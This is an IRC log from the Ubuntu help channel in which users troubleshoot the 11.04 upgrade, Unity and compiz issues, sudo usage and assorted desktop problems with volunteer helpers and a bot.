[14:45] <coz_> nmvictor,    For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[14:46] <captaindav_> I did tasksel install lamp-server on fresh install of Ubuntu 10.10 but I can't find php.ini, its not in  /etc/php5/apache2/php.ini where my 10.04 php.ini was located.
[14:46] <MrCraig> hello #ubuntu
[14:46] <matt[vic[> mtlife, I just did something weird, did you say something recently?
[14:46] <serene> hello #ubuntu
[14:47] <matt[vic[> hello, serene
[14:47] <rafael> helo serene
[14:47] <muneeb> dpkg: error processing nspluginwrapper (--configure):
[14:47] <muneeb>  subprocess installed post-installation script returned error exit status 139
[14:47] <mtlife> matt[vic[: haha no, installed compiz config... now running it, what do i need to look for?
[14:47] <matt[vic[> anyone know a good irc client?  I'm using ircii and it's pretty fail
[14:47] <izinucs> AceKing: how have you found the sidebar tempormental?
[14:47] <mich2000_> will upgrading to ubuntu 11.04 using the update manager delete all my data??
[14:47] <jw_> gah.. 4 hours to download 700mb :(
[14:47] <serene> rafael,  hi~
[14:47] <muneeb> can anyone help with nspluginwrapper error?
[14:48] <matt[vic[> mylife. go to "Window Decorator".  Are you using 11.04. or 10.10?
[14:48] <matt[vic[> mtlife*
[14:48] <serene> matt[vic[,  I am using xchat  ,but i am new here
[14:48] <matt[vic[> xchat!  that's the one mint have.  I like that one
[14:48] <ScottR3> how do i disable this auto-snap-maximize feature in 11.04?
[14:48] <rafael> hi every body
[14:48] <AceKing> izinucs, When I run the mouse over it, it appears and disappears before I can click on an item
[14:48] <jw_> xchat seems cool!
[14:48] <serene> matt[vic[, I am using ubuntu~
[14:48] <leagris> wrong keyboard layout in french, can you help?
[14:48] <rcconf> how can I record a streaming video that is not saved in Firefox cache?
[14:48] <mtlife> matt[vic[: 11.04 upgraded today
[14:49] <matt[vic[> mtlife, one moment please, I need to check something
[14:49] <Soothsayer> how do I access the /root directory through Nautilus ?
[14:49] <usr13> serene: Ok, well the way it works is, you ask questions, and someone elese trys to answer / help
[14:49] <UserX> using 11.04. How do i connect to another ubuntu share on my network?
[14:49] <rcconf> Soothsayer: gksudo nautilus
[14:49] <gtklocker> I wrote an article about custom kernel compilation in Ubuntu if someone wants to have a look https://twitter.com/#!/gtklocker/status/63692581170716672
[14:49] <izinucs> AceKing: install compiz config settings manager and change the settings so it never disappears.. the only time mine "goes away" is when I have a program full screen
[14:49] <UserX> Soothsayer: click 'File System'
[14:50] <matt[vic[> mtlife: under the "Window Decorator" plugin, what does the line "Command:" say?
[14:50] <AceKing> izinucs, I will try that. Thanks
[14:50] <Soothsayer> UserX: where is that?
[14:50] <sssstavr> matt[vic[: i use xchat too..it's pretty good and lightweight
[14:50] <serene> user13, ok
[14:50] <UserX> Soothsayer: on the left panel (if you have it)
[14:50] <jrib> lucydarrow: it's a pool of servers not just one server I believe
[14:50] <Soothsayer> by the way, the super user in Ubuntu is the same as the username created while installing right?
[14:50] <mongy> ScottR3, use ccsm and edit the 'grid' options
[14:50] <LjL> Soothsayer: sort of. the first user created gets put in the "admin" group, which means it can use "sudo"
[14:50] <UserX> Soothsayer: no the 'super user' is 'root'
[14:50] <usr13> Soothsayer: Yes
[14:50] <jrib> Soothsayer: the user you created during install is in the admin group which can sudo by default
[14:50] <matt[vic[> soothsayer:  sper user is known as "root"
[14:51] <cousin_mario> LjL: hi there
[14:51] <mtlife> matt[vic[: /usr/bin/compiz-decorator
[14:51] <ScottR3> mongy: great, thanks. just didn't know where to look!
[14:51] <LjL> cousin_mario: hi
[14:51] <Soothsayer> ok
[14:51] <serene> leagris,  system->preferences->keybord
[14:51] <cousin_mario> LjL: do you happen to be a happy nvidia user?
[14:51] <usr13> jrib: Good explaination
[14:51] <ScottR3> mongy: ahh.. ubuntu is once again not irritating! thanks!
[14:51] <mtlife> matt[vic[: window decorator doesnt show up in the default view btw, had to do advanced search
[14:51] <LjL> cousin_mario: i have an old Nvidia card, FX5200... it's done its work, but saying i'm "happy" might be excessive, i guess i'll be happy when we have free drivers that work fine
[14:51] <serene> ,
[14:51] <matt[vic[> mylife:  hmmm... okay.  We can brute force it by adding a new startup application.  Hold on.
[14:51] <Soothsayer> so if i need a terminal as root
[14:52] <Soothsayer> i do a
[14:52] <Soothsayer> su root?
[14:52] <jrib> !root | Soothsayer
[14:52] <ubottu> Soothsayer: Do not try to guess the root password, that is impossible. Instead, realise the truth... there is no root password. Then you will see that it is 'sudo' that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[14:52] <tjader> can I add more than one user using preseeding?
[14:52] <MrCraig> what is meant by "There is no application installed for executable files"?
[14:52] <LjL> Soothsayer: no, "sudo -i"
[14:52] <usr13> Soothsayer: sudo su -
[14:52] <LjL> Soothsayer: but most of the time just use "sudo command", it's better
[14:52] <Harkins_> I was installing Natty last night with update-manager, it crashed 90% of the way through the 'install' step. Machine unbootable. I'm creating a Live CD now, could anyone suggest recovery steps to inspect and reinstall packages? I don't know how to do that, don't want to wipe and start over.
[14:52] <cousin_mario> LjL: I meant "happy" as in "working with the binary driver after the upgrade to natty".
[14:52] <AceKing> izinucs, I'm curious, can you update a computer running Ubuntu 10.10 to KUbuntu 11.04? The reason I ask is that I have Ubuntu 10.10 on my parents computer, and they will be totally lost with this.
[14:52] <usr13> sudo -i works too
[14:52] <muneeb> are you able to run flash site in Natty 64bit?
[14:52] <LjL> cousin_mario: ah, i'm afraid i haven't used natty :) i'm still on Hardy :P
[14:52] <Soothsayer> ye, just experimenting
[14:52] <leagris> serene, yes so?
[14:52] <Soothsayer> sudo su is nice
[14:53] <ScottR3> AceKing: you don't have to use Unity. I turned it off because I didn't like it
[14:53] <jrib> eol > LjL
[14:53] <matt[vic[> mtlife: go to system -> preferences -> startup applications.  Once there, click add, name it "Start my Window Decorator" and put as the command "/usr/bin/compiz-decorator --replace"
[14:53] <cousin_mario> AceKing: I don't recommend that. 11.04 has more bugs than a pack of stray St. Bernard.
[14:53] <matt[vic[> Unity is crap.  Dunno what they are thinking
[14:53] <nmvictor> MrCraig, just that, simple english. Right click the file in question, select "Open with other application" and select an application you believe can handle that file type.
[14:53] <mtlife> matt[vic[: mm while im sure that will make it work, why isnt it there in the first place?
[14:53] <serene> leagris, there is a layouts,   and use add
[14:53] <ScottR3> matt[vic[ makes me happy to see someone in the know hates it too
[14:54] <tomasz> hi
[14:54] <AceKing> ScottR3, I thought I read that people were having some problems using the Classic Ubuntu desktop.
[14:54] <tomasz> i have some idea
[14:54] <matt[vic[> mtlife, I'm not sure - it must be something when you messed around with the other window manager
[14:54] <MrCraig> nmvictor, it's an exe, one I've just compiled and linked - it should run stand-alone.
[14:54] <ScottR3> AceKing: can't speak for them, personal experience only... dropped back down, no issues so far
[14:54] <_trine> I have just tried the new ubuntu, the new layout is terrible
[14:54] <tomasz> can developes add opera mini 4.2 to ubuntu default ?
[14:54] <leagris> serene, yes, the french layouts are there, the problem is the disposition is wrong confirmed by preview
[14:54] <AceKing> ScottR3, Ok, thanks!
[14:55] <jon_athon> for anyone using XChat, how do I make "Hide Join/Part Messages" the default?
[14:55] <matt[vic[> trine:  indeed, it's terrible
[14:55] <tomasz> its the best browser for user with 3g
[14:55] <MrCraig> I'll ask the compiler guys, maybe it's doing something odd :)
[14:55] <nmvictor> Wow! Distribution upgrade, Calculating changes, really taking years ... Will I ever finish this upgrade process?
[14:55] <ScottR3> AceKing: to drop back down, just select "Ubuntu Classic" at the login screen
[14:55] <AceKing> cousin_mario, Are you talking about 11.04 in general having problems?
[14:55] <izinucs> AceKing: yes but it's a multi step process.. first install kubuntu-desktop on 10.10.. then go through the upgrade process.  if you have them setup with a separate /home directory (hopefully), you can simply reinstall 11.04 overtop which is infinetely faster and more insured of a positive outcome. Keep in mind kde is similar to older gnome but you'll still be giving instructions
[14:55] <mtlife> matt[vic[: could it also have to do with something that i had 10.10 lubuntu installed instead of the regular ubuntu?
[14:55] <serene> leagris, you mean when you press a key, it turns out to be another?
[14:55] <_trine> matt[vic[, I have scrapped it and am now install 10.10 again
[14:55] <izinucs> AceKing: also if you havent used it yet.. you might set them up on teamviewer so you can remote in easily and "show" them how to do things.
[14:56] <nmvictor> 11.04 is full of crap, reminds me of Karmic, the most bugged ubuntu release ever
[14:56] <matt[vic[> mtlife, possibly, I'm not sure.  I have never used lubuntu.  I would have assumed switching sessions would keep your window decorators though
[14:56] <matt[vic[> mrlife, oh!  it might be that you are still on the lubuntu theme.  try going to system -> preferences -> appearance and selecting a theme there
[14:56] <Dr_Willis> nmvictor:  demand a refund.
[14:56] <ScottR3> nmvictor - i'm starting to get that feeling too...
[14:56] <jatt>  11.04 is beta
[14:57] <rigved> nmvictor: sts versions generally are...consider sticking to LTS versions only
[14:57] <ScottR3> 11.04 was released yesterday jatt
[14:57] <sect114> can anyone help? trying to update 10.10 to 11.04 on a powerpc mac, keeps failing withing this message '   Failed to fetch http://ports.ubuntu.com/ubuntu-ports/dists/natty/Release  Unable to find expected entry  partner/binary-powerpc/Packages in Meta-index file (malformed Release file?)'
[14:57] <jrib> jatt: 11.04 is no longer beta
[14:57] <matt[vic[> mtlife, the lubuntu window decorator might have been uninstalled when you dist-upgraded
[14:57] <jatt> they just don't label it as such
[14:57] <matt[vic[> 11.04 is alpha
[14:57] <vishesh> I earlier had integrated graphics card on my computer. I  installed a new external graphics card today. The problem is X server not loading. Its just command line. I tried to do  Xorg --configure, but nothing happened. How do I fix this?
[14:57] <gtklocker> I wrote an article about custom kernel compilation in Ubuntu if someone wants to have a look https://twitter.com/#!/gtklocker/status/63692581170716672
[14:57] <jatt> hehe
[14:57] <Incarus6> jatt?
[14:57] <Dr_Willis> Lubuntu uses openbox - a window manager. Not a window decorator.
[14:57] <leagris> serene, no. The layout is wrong for all the <altgr> characters
[14:57] <AceKing> izinucs, Thank you! I never heard of teamviewer, is that a remote desktop program? I do have a logmein account, but unfortunately it doesn't work with Linux
[14:57] <Incarus6> !Natty | matt[vic[
[14:57] <ubottu> matt[vic[: Ubuntu 11.04 (Natty Narwhal) is the current release of Ubuntu. Download http://releases.ubuntu.com/11.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1104
[14:57] <cousin_mario> AceKing: indeed I am
[14:57] <jatt> it's a release to test experimental features, shuttleworth himself said so
[14:58] <cousin_mario> AceKing: I'd wait a couple of months if I were you.
[14:58] <Dr_Willis> jatt:  every non LTS basically fits that.
[14:58] <ScottR3> jatt: -_-
[14:58] <LjL> jrib: send me the !eol again when i'm actually asking for some support :P
[14:58] <matt[vic[> ubuottu: I'm aware what the official release is.  It just runs like an alpha.
[14:58] <bazhang> jatt, chit chat in #ubuntu-offtopic NOT here
[14:58] <leagris> serene, <altgr>3 on main should give a sharp symbol but instead it gives ² (upscript 2)
[14:58] <gtklocker> I wrote an article about custom kernel compilation in Ubuntu if someone wants to have a look https://twitter.com/#!/gtklocker/status/63692581170716672 *ON NATTY*
[14:58] <mtlife> matt[vic[: already tried applying theme before i got here... :)
[14:58] <izinucs> AceKing: yea.. logmein uses .net for some stuff.. yick!  teamviewer is like logmein.. great for getting through firewalls etc. it's also free..
[14:58]  * jrib makes note
[14:58] <matt[vic[> mtlife alrighty.  well after adding that startup application, try logging out and in again
[14:58] <TER0RR> um hi guys a have a qustion. It still recommended to use 32bit version or should i use 64 ?
[14:59] <leagris> serene, preview of the keyboard map confirm the alternate characters are all wrong
[14:59] <jatt> 32bit
[14:59] <[snake]> how do I switch back to gnome on 11.04
[14:59] <izinucs> AceKing: and has a great following..
[14:59] <Dr_Willis> TER0RR:  i use 64bit on 64bit systems.
[14:59] <jatt> [snake]: in the login window you can choose classical
[14:59] <AceKing> izinucs, I appreciate all your help today! I learned a lot
[14:59] <soyo> IN 11.04 YOU CAN SEE YOUR BACKROUND PICTURE JUST BARELY IN THE TERMINAL!! Sorry for yelling but that is the hotness. Those little penguins are genius.
[14:59] <mtlife> matt[vic[: ok ubuntu classic seems to be working fine now... mayb you can help me with my unity issue too
[15:00] <[snake]> jatt, yeah that's where I looked at first but I didn't find it... let me double check >.>
[15:00] <Dr_Willis> soyo:  that feature has been  there for ages..  just not  the default settings.
[15:00] <izinucs> AceKing: np :)
[15:00] <mtlife> matt[vic[: when i login with unity (ubuntu default) the launcher as well as the panel are not displaying
[15:00] <serene> leagris, Ah..   sorry, I got no idea about that,  wish someone will help you~
[15:00] <lucydarrow> jrib: Thats explains it. Thanks. See you later I hope.
[15:00] <Incarus6> mtlife, same for me, Unity isn't working for you
[15:00] <leagris> thanks serene
[15:00] <soyo> Dr_Willis: lol well it is now and I <3 it
[15:00] <matt[vic[> mtlife: have you installed all the drivers?  Unity is bad, and your graphics card needs to have OpenGL support
[15:00] <serene> leagris, you are welcome
[15:01] <mtlife> matt[vic[: yes i have installed the drivers, gallium 0.4 ones.
[15:01] <jatt> opengl for icons and windows lol
[15:01] <ikonia>  /last jatt
[15:01] <bazhang> jatt, thats enough
[15:01] <mtlife> matt[vic[: why is it bad? seems like a config issue to me
[15:01] <Harkins__> update-manager crashed 90% of the way through installing and now my system doesn't boot - how do I begin to fix this?
[15:02] <jrib> Harkins__: chroot, investigate, possibly dpkg --configure -a, sudo apt-get install -f, may be helpful
[15:02] <mtlife> Incarus6: why wouldnt it work for me?
[15:02] <matt[vic[> mtlife: Unity made some poor design choices in my opinion, but I don't really know how to get it working if it isn't already
[15:02] <Dr_Willis> soyo:  i hate it and always disable it.
[15:03] <Incarus6> mtlife, because it doesn't support your graphic card?
[15:03] <mtlife> matt[vic[: any idea how to completely reinstall unity without reinstalling the whole system?
[15:03] <sect114> have a 'failed to fetch' message when updating to 11.4 - what do i do now?
[15:03] <vibhav> I love Unity...
[15:03] <Dr_Willis> Unity2d seems to work decent for my low end cards
[15:03] <Dr_Willis> sect114:  could be servers are overloaded.
[15:03] <tdn> After installing Ubuntu 11.04 and enabling the restricted Broadcom STA wifi driver, the wifi network stops working after a while. How do I fix this?
[15:03] <mtlife> Incarus6: what does it need except opengl?
[15:03] <matt[vic[> mtlife, I'm switching to xchat.  My name is FizzixNerd now
[15:03] <soyo> Dr_Willis: But when its super subtle... I didn't even notice until like three weeks later.. I thought it was burnt into the monitor I had to check another blank screen, LOL
[15:03] <vaxinated> hello world
[15:03] <sect114> Dr-Willis: thanks, im just imapatient
[15:03] <vibhav> <sect114> this is a Internet prob....the servers must be overloaded...try another server
[15:03] <mtlife> Incarus6: it isnt giving me a warning, nor is it swithcing to the classic desktop
[15:04] <mtlife> FizzixNerd: so any idea how to reset the configuration for unity?
[15:04] <FizzixNerd> mtlife, you could try "sudo dpkg-reconfigure unity"
[15:04] <vibhav> <sect114> But I recommend a fresh install
[15:04] <sect114> vibhav: thanks - fresh install from a DVD?
[15:04] <Incarus6> mtlife, some people say it is working with proprietary drivers but it isn't working with some proprietary drivers, so another requirement would be open source drivers. same for me, mtlife, Unity isn't stable yet
[15:05] <daxroc> Having problems with an nvidia quadro nns 295, only one monitor is being detected , Has any one seen this ?
[15:05] <vibhav> <sect114> DVD - i f you want all languages preinstalled,  cd - if you want English.
[15:05] <htheman> help
[15:05] <daxroc>  *nns -> nvs
[15:05] <vibhav> <htheman> yes?
[15:05] <sect114> vibhav: thanks for the advice!
[15:05] <maximm> soo
[15:05] <htheman> <zykes>
[15:06] <maximm> with 11.04 will you be able to move around your windows soon ?
[15:06] <vibhav> <sect114>  No problem!
[15:06] <maximm> and will is support 2 monitors soon ?
[15:06] <mtlife> Incarus6: when i run unity from console it quits with the message "found no decorator to start segmentation fault"
[15:06] <mtlife> FizzixNerd: I get "found no decorator to start segmentation fault" when i run unity from terminal
[15:06] <FizzixNerd> mtlife, it sounds like it's the same problem for both gnome and unity then - a window decorator problem
[15:07] <htheman> www.annhon2.com
[15:07] <shoxzy> been trying to SSH music into an ipod touch 4g and cant get it to work. trying to connect by going to Places > Connect to Server but its not working. Using a Touch 4g, Jailbroken and Ubuntu 10.10 Maverick Meerkat. Any advice?
[15:07] <janik> hi @ all
[15:07] <maximm> i don't think 11.04 has a window manager
[15:07] <vibhav> <mtlife>  Try running this command:
[15:07] <vibhav> unity --reset
[15:07] <vibhav> Also, make sure you have the compiz-gnome package installed. This package contains unity-window-decorator. Run this command to ensure that compiz-gnome is installed:
[15:07] <vibhav> sudo apt-get install compiz-gnome
[15:07] <FloodBot2> vibhav: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[15:07] <maximm> rather it doesn't work yet
[15:07] <jrib> shoxzy: "isn't working" is too vague to give meaningful advice
[15:07] <shoxzy> well it comes up with no route to host
[15:08] <bazhang> htheman, dont paste that here
[15:08] <Asad2005> alltray firefox doesnot show atray icon in natty. Any idea?
[15:08] <shoxzy> ssh: connect to host 192.168.1.5 port 22: No route to host
[15:08] <jrib> shoxzy: did you install an sshd on the ipod?
[15:08] <shoxzy> yep
[15:08] <vibhav> <mtlife>  http://paste.ubuntu.com/600766/
[15:08] <jrib> shoxzy: are you sure that's the right ip?
[15:08] <shoxzy> yep it says on sb settings thats the ip
[15:08] <shoxzy> it was working the other night
[15:09] <vibhav> <mtlife>  http://paste.ubuntu.com/600766/
[15:09] <AceKing> izinucs, one more question.. I'm installing the Kubuntu like you told me in Terminal. Setup is asking if I want to use GDM or KDM, which should I choose?
[15:09] <jrib> shoxzy: try reconnecting to your network on your ipod
[15:09] <mtlife> vibhav: trying it now
[15:09] <vibhav> <AceKing> KDM
[15:09] <shoxzy> k
[15:09] <tdn> After installing Ubuntu 11.04 and enabling the restricted Broadcom STA wifi driver, the wifi network stops working after a while. How do I fix this?
[15:09] <maximm> anyway to move or grab windows in 11.04 or can they only been static now ?
[15:09] <AceKing> vibhav, Thanks!
[15:09] <greentea> should I install the new ubuntu on a test machine?
[15:10] <mtlife> vibhav: genius... its working!
[15:10] <vibhav> <AceKing> No problem!
[15:10] <bazhang> ircbot, hi
[15:10] <vibhav> <mtlife> Thats good
[15:10] <vibhav> <mtlife>  :D
[15:10] <FizzixNerd> see you later guys
[15:10] <FizzixNerd>  /wave
[15:10] <mtlife> vibhav: thank you, seems like some package dependencies are wrong!
[15:10] <shoxzy> still getting no route to host :/
[15:10] <izinucs> AceKing: kdm for kde and gdm for gnome/unity .. choose kdm .. when you switch to unity it should switch to gdm.. kubuntu doesn't use compiz
[15:10] <vibhav> <mtlife>  No problem!
[15:10] <mtlife> vibhav: should be automatically installed with unity imho :), but thx!
[15:10] <vibhav> <mtlife>  No problem!
[15:11] <coz_> rcconf,  there is a firefox plugin named   video  downloadhelpr
[15:11] <AceKing> izinucs, Ok Thanks again!
[15:11] <coz_> sorry  that is old
[15:11] <izinucs> AceKing: kubuntu/kde has also had "gestures" built in for some time
[15:11] <coz_> apologies guys
[15:11] <maximm> anyway to use a window manager in 11.04 ?
[15:11] <maximm> i can't move anything and i have no menu
[15:11] <Incarus6> mtlife, yes. did you try unity-2D?
[15:11] <coz_> maximm,  ah,, compiz is the window manager
[15:12] <vibhav> <maximm> try unity --reset
[15:12] <maximm> coz well i can't grab windows and move them around
[15:12] <vibhav> <maximm>  http://paste.ubuntu.com/600766/
[15:12] <mtlife> Incarus6: I already got it working thx to vibhav, i missed the package compiz-gnome for some reason!
[15:12] <Mehrab> I wanna install a package in offline mode, so I need the list of dependencies, but I can,t create it on my own pc because the package list is not updated. is there anyone who installed 11.04 here to help me with that
[15:12] <coz_> maximm,  open ccsm and make sure the Move window plugin under  window management category is en abled
[15:12] <mtlife> Incarus6: but thx for the input
[15:12] <ScottONanski> Man, this build of Ubuntu is uber buggy.
[15:12] <heedlu> is there anyway to many hide the launcher? It doesn't always seem to auto-hide
[15:13] <mekwall> top - 16:13:26 up 1074 days,  6:31,  2 users,  load average: 53.07, 52.88, 45.52 ... hrm
[15:13] <heedlu> s/many/manually/
[15:13] <vibhav> <heedlu> maximize the windows....
[15:13] <mekwall> not feeling very well :P
[15:13] <tharsis> hello !
[15:13] <heedlu> vibhav: doesn't always work.
[15:13] <AndroUser2> no way
[15:13] <Incarus6> mtlife, thx for that information
[15:13] <vibhav> <heedlu> lemme seee.....
[15:13] <tharsis> i would like to send some keyboard events using a sh script.. is it possible ?
[15:14] <Bp0n0x58> Hello all
[15:14] <sukima_> Anyone know why after installing an adobe air app that it is removed every time I upgrade?
[15:14] <vibhav> <heedlu> refer to http://ubuntuguide.net/how-to-change-unity-sidebar-launcher-auto-hide-behaviour-in-ubuntu-11-04
[15:14] <heedlu> vibhav: it works sometimes, but I see someone else has the same problem and submitted a bug report for it.
[15:14] <vibhav> <heedlu> refer to http://ubuntuguide.net/how-to-change-unity-sidebar-launcher-auto-hide-behaviour-in-ubuntu-11-04
[15:14] <mekwall> wtf
[15:14] <mekwall> why would top show this high load?
[15:14] <mekwall> sar reports: all      0.08      0.00      0.21      0.21      0.00     99.50
[15:14] <schnuffle> mekwall: any qustions?
[15:15] <SERGioooo> hello there
[15:15] <schnuffle> mekwall: type shift P, to see which process is genrating that load, maybe your system is swaping?
[15:15] <SERGioooo> ??
[15:15] <schnuffle> !anyone | SERGioooo
[15:15] <ubottu> SERGioooo: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[15:15] <maximm> will unity support 2 monitors ?
[15:16] <leagris> Here is the keyboard layout I get for french and it is wrong for all alternate selection what is causing that? http://demo.ovh.com/fr/fd9f8149af57dfaf95b5d839fcdf4eb5/
[15:16] <vibhav> <heedlu> anything happened?
[15:16] <escott> tharsis, events to what? an x client?
[15:16] <tharsis> escott, yes
[15:17] <SERGioooo> schnuffle:  :)
[15:17] <escott> tharsis, xsendkeys
[15:17] <csharp_> !panels
[15:17] <ubottu> To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[15:17] <SERGioooo> Does anyone know this gwibber work??:D
[15:17] <heedlu> vibhav: yep
[15:17] <heedlu> vibhav: thanks :)
[15:18] <vibhav> heedlu : No problem!
[15:18] <AceKing> izinucs, At the risk of sounding stupid, what are built in gestures?
[15:18] <SERGioooo> how this *
[15:18] <trijntje_natty> Hi all, is it possible to take your upload/download statistics from transmission to your next install?
[15:18] <tharsis> escott, i don't have xsendkeys, and i can't install it
[15:18] <Incarus6> Can someone in maverick pls paste "apt-cache policy libavdevice52"?
[15:18] <maximm> anyone able to get unity going on two monitors ?
[15:18] <NyvenZA> good day
[15:18] <schnuffle> SERGioooo: HAve you problems installing t or using it?
[15:18] <trirnoth> Hello all. Is there a way to see when I initially installed Ubuntu? I know I've done at least one dist upgrade - maybe more. Debating whether it's time to do a clean install.
[15:19] <ActionParsnip> !info libavdevice52 maverick | Incarus6
[15:19] <ubottu> Incarus6: libavdevice52 (source: ffmpeg): ffmpeg device handling library. In component main, is optional. Version 4:0.6-2ubuntu6.1 (maverick), package size 78 kB, installed size 212 kB
[15:19] <NyvenZA> has anyone else had a problem upgrading from 10.10 to 11.04 and the Makefile of the Linux headers has the incorrect version in?
[15:19] <escott> tharsis, you don't have root?
[15:19] <SERGioooo> schnuffle:  I have a tech prob with it
[15:19] <vibhav> <trirnoth> when a new release is out..I recommend a  clean install
[15:19] <SERGioooo> it is not syn ching
[15:19] <schnuffle> SERGioooo: then explain it othrwise help will be hard
[15:20] <osse> Have they moved the "try or install directly" choice to the GRUB menu or is there something wrong with my imagethingy??
[15:20] <Incarus6> ActionParsnip, are packages from "maverick-updates" repo automatically updated or is that a backport repo?
[15:20] <vibhav> any more questions?
[15:20] <SERGioooo> schnuffle:  I keep adding accounts successfuly but gwibber stays blank:D
[15:20] <Mehrab_> is there anyone who can run grabpackages.py script in 11.04 and send me dependency list of a package please?
[15:20] <SERGioooo> no messages nothing
[15:20] <schnuffle> SERGioooo: you mean syncing to twitter?
[15:20] <tharsis> escott, i don't have internet on this computer. But i do have root. I can't really install anything
[15:20] <trirnoth> vibhav - great advise except I try to space them out every so often .... work computer and takes a long time to get everything back the way it was.
[15:21] <ActionParsnip> Incarus6: it says its in the main repo, if you enable the updates one it may be different, I'm on Natty presently
[15:21] <SERGioooo> schnuffle:  tried twiiter facebook buzz
[15:21] <NyvenZA> anyone with  Unity not esponding issues on 11.04 that have been able to resolve it >
[15:21] <trirnoth> Let's say then it's more out of curiosity than anything else.
[15:21] <NyvenZA> ?
[15:21] <SERGioooo> I get nothin
[15:21] <vibhav> <trirnoth> Ya right.But a fresh install is better than an upgrade...
[15:21] <SoftTimur> Hello all, I just upgraded my ubuntu to 11.04. It is odd that after pressing Alt+F2, I could not launch "about:config", could anyone help?
[15:21] <trirnoth> curiosity.
[15:21] <ActionParsnip> SoftTimur: you don't run about:config in dash, you use it in browsers..
[15:22] <schnuffle> SERGioooo: your internet connection is fine? I'll have to install it to check
[15:22] <knick> ^
[15:22] <NyvenZA> I upgraded to 11.04 and now my XOrg starts up with all the icons stretched and the input doesn't work.
[15:22] <Incarus6> ActionParsnip, jAguAr` got a depedency error when upgrading to Natty: http://paste.ubuntu.com/600759/ . all package numbers looks normal and I can't see any reason why it should output that "InstVer" error
[15:22] <SoftTimur> ActionParsnip: I do not see what you mean
[15:22] <NyvenZA> can't clik on anything or use the keyboard in the X
[15:23] <NyvenZA> I can get to a console though
[15:23] <ActionParsnip> SoftTimur: about:config is used in web browsrs to show config, if you run it in an ALT+F2 dialogue it won't do anything (as far as I am aware0
[15:23] <NyvenZA> any one that might have any ideas/
[15:23] <Incarus6> SoftTimur, about:config is a Firefox command, correct?
[15:23] <tdn> After installing Ubuntu 11.04 and enabling the restricted Broadcom STA wifi driver, the wifi network stops working after a while. How do I fix this?
[15:23] <usr13> Incarus6: You put it in the URL line
[15:24] <usr13> and hit enter
[15:24] <Thriky> Out of interest, what happens if I'm downloading/updating/upgrading packages via SSH and my connection to the server dies? Am I in for trouble?
[15:24] <vibhav> <tdn> in the network settings you have chosen Automatic or manual?
[15:24] <SERGioooo> schnuffle:  sorry got dc
[15:24] <SERGioooo> :)
[15:24] <Incarus6> usr13, I know that, but thank you
[15:24] <Dr_Willis> Thriky:  good idea to use screen when doiung that sort of task
[15:24] <SERGioooo> schnuffle:  can i copy paste the error from terminal
[15:24] <SERGioooo> ?
[15:24] <BlouBlou> !paste | SERGioooo
[15:24] <ubottu> SERGioooo: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[15:24] <Dr_Willis> Thriky:  of course if screen gets updated... and is killed..
[15:24] <Thriky> lol
[15:25] <NyvenZA> :/
[15:25] <Thriky> Okay I'll look into screen
[15:25] <escott> tharsis, well lineakd has all the stuff you need xsendkeys/xevtest. what happens when you cat into the keyboard device? maybe you can create a fake keyboard device that pipes text through it. you could also try
[15:25] <SoftTimur> ActionParsnip: I do not know how to use about:config in a Firefox command
[15:25] <Thriky> I did imagine doing this via SSH is asking for trouble
[15:25] <Dr_Willis> Thriky:  ive seen people get locked out of systems doing that yes. :)
[15:25] <Dr_Willis> bbl
[15:25] <ActionParsnip> Incarus6: you could remove openoffice until the update is done, it will reduce downloaded apps as well as errors
[15:25] <trirnoth> I had goog'd for this before but just found it. For all that are sitting on the edge of their seats .... ls -al /var/log/installer/syslog    date seems to match what I expected to see.
[15:25] <Pici> Thriky: I always upgrade via ssh.  As long as it doesn't die during the install part, you should be fine.
[15:25] <ActionParsnip> SoftTimur: you can run:    firefox about:config
[15:25] <noidea693> Hey @ll
[15:25] <escott> tharsis, http://www.doctort.org/adam/nerd-notes/x11-fake-keypress-event.html
[15:26] <Incarus6> ActionParnsip, Im pretty sure lines 2 to 12 are causing that problem
[15:26] <TheNuts> ;;ident BitterTea
[15:26] <Incarus6> TheNuts, :D
[15:26] <escott> Thriky, more simply you could use nohup
[15:26] <noidea693> what's the recommended way to install TOR + proxy (privoxy, for example) on ubuntu 11.04?
[15:27] <noidea693> I found several ways, but those dated back to 2006 etc. ...
[15:27] <usr13> SoftTimur: It is to change configurations for firefox, you right-click and choose to modify
[15:27] <ActionParsnip> !tor
[15:27] <ubottu> Tor is a program to route connections through several servers for anonymity. It is not in Ubuntu's repositories. For setup info, see option (2) of https://www.torproject.org/docs/debian.html.en | To use Tor on freenode, see !tor-sasl
[15:27] <usr13> SoftTimur: It is to change configurations for firefox, you right-click on a particular entry and choose to modify
[15:27] <SoftTimur> ActionParsnip: I see what you mean, but I want to do this http://www.multimediaboom.com/how-to-make-the-panel-transparent-in-ubuntu-11-04-natty-narwhal/
[15:27] <SERGioooo> Schn
[15:27] <SERGioooo> schnuffle: http://paste.ubuntu.com/600775/
[15:27] <vibhav> anybody with any problem???
[15:27] <NyvenZA> yes
[15:27] <NyvenZA> can you assist please ?
[15:28] <vibhav> <NyvenZA> Yeah
[15:28] <Mehrab_> anyone with 2 minutes of time and a 11.04 install? Please!
[15:28] <vibhav> <Mehrab_> Me
[15:28] <NyvenZA> I upgraded from 10.10 to 11.04 last night
[15:28] <vibhav> <NyvenZA> and?
[15:28] <NyvenZA> My XOrg starts up
[15:28] <escott> !help | Mehrab_ NyvenZA
[15:28] <ubottu> Mehrab_ NyvenZA: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[15:28] <gwallace42> Yep...can't get 11.04 to boot up.  Getting error "Disk Drive / is not ready yet or not present.
[15:28] <coz_> NyvenZA,  cook
[15:28] <SoftTimur> ActionParsnip: and I could not launch about:config as the link shows
[15:28] <vibhav> <NyvenZA>  then?
[15:28] <coz_> cool
[15:28] <schnuffle> SERGioooo: How did you install gwibber?
[15:28] <coz_> NyvenZA,  rather  I meant cool
[15:28] <NyvenZA> but the icons on the screen are stretched and I can't clik on anything
